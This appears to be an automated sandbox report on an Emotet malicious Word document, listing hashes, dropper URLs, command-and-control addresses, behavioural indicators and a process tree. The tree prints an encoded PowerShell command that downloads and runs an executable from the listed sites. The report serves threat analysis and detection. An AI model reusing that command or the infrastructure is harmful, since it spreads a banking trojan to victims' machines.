emotet | 1a8e4418bddfc74fa8905aa46a3d0d5c9fedc338b0543cf829fec3ce7789e638

Analysis

max time kernel
144s
max time network
142s
platform
windows10_x64
resource
win10v200722
submitted
12/08/2020, 16:11

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General

Target
emotet_e2_1a8e4418bddfc74fa8905aa46a3d0d5c9fedc338b0543cf829fec3ce7789e638_2020-08-12__160851._doc.doc
Size 229KB
Sample200812-wyed85valj
SHA256 1a8e4418bddfc74fa8905aa46a3d0d5c9fedc338b0543cf829fec3ce7789e638
MD5 bd7bc546e9c6fa1679adf2adcd0e822b
SHA1 c36e7a586c56656042ad51bdded5fe76d192d017
SHA512 bc05f66fa2f9e65017ab7c321657c8ceaa1900bfb1db588096ed0bef3e83d2b7d31857605bbd57cff7c0e0dd222061f9ee221f19ca5190d869ef3d9eb2b6718a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://innovatex24.com/catalogmap/tbrc_l6q4g_bq0g4598kw/
exe.dropper
http://jonsonen.com/old/ow_0q4_y02/
exe.dropper
http://nuwaraeliyataxis.com/wp-admin/ynfpz_vw_fm/
exe.dropper
https://inquimais.com/plugins/rmkq_c_i8/
exe.dropper
http://armahouse.com/wp-includes/bf_2g_zqm31/

Extracted

Family

emotet

174.102.48.180:80
88.217.172.164:443
51.75.33.120:8080
62.138.26.28:8080
169.239.182.217:8080
114.146.222.200:80
116.203.32.252:8080
103.86.49.11:8080
74.120.55.163:80
41.60.200.34:80
209.182.216.177:443
157.245.99.39:8080
87.106.139.101:8080
152.168.248.128:443
104.236.246.93:8080
47.144.21.12:443
139.130.242.43:80
181.230.116.163:80
72.12.127.184:443
61.19.246.238:443
222.214.218.37:4143
119.198.40.179:80
47.153.182.47:80
95.179.229.244:8080
5.39.91.110:7080
181.211.11.242:80
76.27.179.47:80
167.86.90.214:8080
70.167.215.250:8080
95.213.236.64:8080
203.153.216.189:7080
81.2.235.111:8080
165.165.171.160:8080
176.111.60.55:8080
142.105.151.124:443
110.145.77.103:80
200.55.243.138:8080
183.101.175.193:80
190.160.53.126:80
104.131.44.150:8080
37.187.72.193:8080
47.146.117.214:80
2.58.16.85:7080
209.143.35.232:80
24.137.76.62:80
153.126.210.205:7080
78.24.219.147:8080
96.8.113.4:8080
91.211.88.52:7080
104.131.11.150:443
62.75.141.82:80
200.41.121.90:80
173.62.217.22:443
201.173.217.124:443
204.197.146.48:80
87.106.136.232:8080
24.179.13.119:80
93.51.50.171:8080
190.55.181.54:443
85.152.162.105:80
74.208.45.104:8080
139.59.60.244:8080
24.43.99.75:80
137.59.187.107:8080
83.110.223.58:443
46.105.131.79:8080
85.105.205.77:8080
107.185.211.16:80
185.94.252.104:443
113.160.130.116:8443
121.124.124.40:7080
5.196.74.210:8080
47.146.32.175:80
199.101.86.142:8080
109.74.5.95:8080
37.139.21.175:8080
168.235.67.138:7080
79.98.24.39:8080
157.147.76.151:80
209.141.54.221:8080
189.212.199.126:443
180.92.239.110:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	348	580	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3188-19-0x0000000000680000-0x000000000068C000-memory.dmp	emotet
behavioral2/memory/3188-19-0x0000000000680000-0x000000000068C000-memory.dmp	emotet
behavioral2/memory/2708-22-0x00000000006C0000-0x00000000006CC000-memory.dmp	emotet
behavioral2/memory/2708-22-0x00000000006C0000-0x00000000006CC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
29	348	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3188	862.exe
2708	olethk32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\setupapi\olethk32.exe	862.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2448	WINWORD.EXE
2448	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
348	powersheLL.exe
348	powersheLL.exe
348	powersheLL.exe
2708	olethk32.exe
2708	olethk32.exe
2708	olethk32.exe
2708	olethk32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	348	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
3188	862.exe
3188	862.exe
2708	olethk32.exe
2708	olethk32.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 2708	3188	862.exe	78
PID 3188 wrote to memory of 2708	3188	862.exe	78
PID 3188 wrote to memory of 2708	3188	862.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_1a8e4418bddfc74fa8905aa46a3d0d5c9fedc338b0543cf829fec3ce7789e638_2020-08-12__160851._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2448

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAE0AUgBFAE8AaQB4AG8APQAnAEYAQQBJAEcAWgBlAGIAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAHUAYABSAGkAdABZAHAAUgBPAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAFQAVABEAFEAZgBrAGQAIAA9ACAAJwA4ADYAMgAnADsAJABLAEoARwBUAEIAcQBoAGYAPQAnAEcASABSAFEAUwBjAHkAbwAnADsAJABXAEQAWQBLAE8AdgBzAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQAVABUAEQAUQBmAGsAZAArACcALgBlAHgAZQAnADsAJABSAFAAUQBNAFoAZwBtAGIAPQAnAE4AVABQAEMASQBqAGkAcwAnADsAJABBAEUASgBWAEYAawBlAHoAPQAuACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAFUAWQBCAEwARAB1AGIAeQA9ACcAaAB0AHQAcABzADoALwAvAGkAbgBuAG8AdgBhAHQAZQB4ADIANAAuAGMAbwBtAC8AYwBhAHQAYQBsAG8AZwBtAGEAcAAvAHQAYgByAGMAXwBsADYAcQA0AGcAXwBiAHEAMABnADQANQA5ADgAawB3AC8AKgBoAHQAdABwADoALwAvAGoAbwBuAHMAbwBuAGUAbgAuAGMAbwBtAC8AbwBsAGQALwBvAHcAXwAwAHEANABfAHkAMAAyAC8AKgBoAHQAdABwADoALwAvAG4AdQB3AGEAcgBhAGUAbABpAHkAYQB0AGEAeABpAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHkAbgBmAHAAegBfAHYAdwBfAGYAbQAvACoAaAB0AHQAcABzADoALwAvAGkAbgBxAHUAaQBtAGEAaQBzAC4AYwBvAG0ALwBwAGwAdQBnAGkAbgBzAC8AcgBtAGsAcQBfAGMAXwBpADgALwAqAGgAdAB0AHAAOgAvAC8AYQByAG0AYQBoAG8AdQBzAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGIAZgBfADIAZwBfAHoAcQBtADMAMQAvACcALgAiAFMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBUAFEATwBHAGMAZQBoAD0AJwBOAEsAUQBFAEIAcABqAHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEsAWQBXAEEAVgBjAHYAYgAgAGkAbgAgACQAVQBZAEIATABEAHUAYgB5ACkAewB0AHIAeQB7ACQAQQBFAEoAVgBGAGsAZQB6AC4AIgBEAG8AdwBOAGwAYABPAGAAQQBgAEQARgBJAEwAZQAiACgAJABLAFkAVwBBAFYAYwB2AGIALAAgACQAVwBEAFkASwBPAHYAcwBjACkAOwAkAEwAWQBKAEEARwB6AHUAdQA9ACcARABFAFoASQBIAHoAbABpACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAVwBEAFkASwBPAHYAcwBjACkALgAiAEwAYABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAzADYANQA5ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAYQB0AGUAIgAoACQAVwBEAFkASwBPAHYAcwBjACkAOwAkAEQASQBOAEkAUwB5AHoAcgA9ACcASQBTAFoAUwBTAGIAeAB1ACcAOwBiAHIAZQBhAGsAOwAkAFAATQBRAFQATABxAGIAZAA9ACcARgBDAFIAVABTAHQAaABuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAUABSAEIASABoAHEAbQA9ACcARABMAEgARwBKAGYAZQBzACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:348

C:\Users\Admin\862.exe
C:\Users\Admin\862.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Windows\SysWOW64\setupapi\olethk32.exe
  "C:\Windows\SysWOW64\setupapi\olethk32.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/348-14-0x00007FF8F9B10000-0x00007FF8FA4FC000-memory.dmp

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memory/348-16-0x000001AE70A50000-0x000001AE70A51000-memory.dmp

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memory/348-15-0x000001AE58720000-0x000001AE58721000-memory.dmp

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memory/2448-8-0x0000015AD9B59000-0x0000015AD9B5E000-memory.dmp

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memory/2448-7-0x0000015AD9B59000-0x0000015AD9B5E000-memory.dmp

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memory/2448-11-0x0000015AD9D7E000-0x0000015AD9D7F000-memory.dmp

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memory/2448-12-0x0000015AD9D7F000-0x0000015AD9D83000-memory.dmp

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memory/2448-13-0x0000015AD9D7D000-0x0000015AD9D7E000-memory.dmp

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memory/2448-9-0x0000015AD9B59000-0x0000015AD9B5E000-memory.dmp

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memory/2448-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

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memory/2448-10-0x0000015ACF998000-0x0000015ACF99A000-memory.dmp

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memory/2448-6-0x0000015AD9B59000-0x0000015AD9B5E000-memory.dmp

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memory/2448-5-0x0000015AD9B57000-0x0000015AD9B59000-memory.dmp

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memory/2448-1-0x0000015AD9520000-0x0000015AD9524000-memory.dmp

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memory/2708-22-0x00000000006C0000-0x00000000006CC000-memory.dmp

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memory/3188-19-0x0000000000680000-0x000000000068C000-memory.dmp

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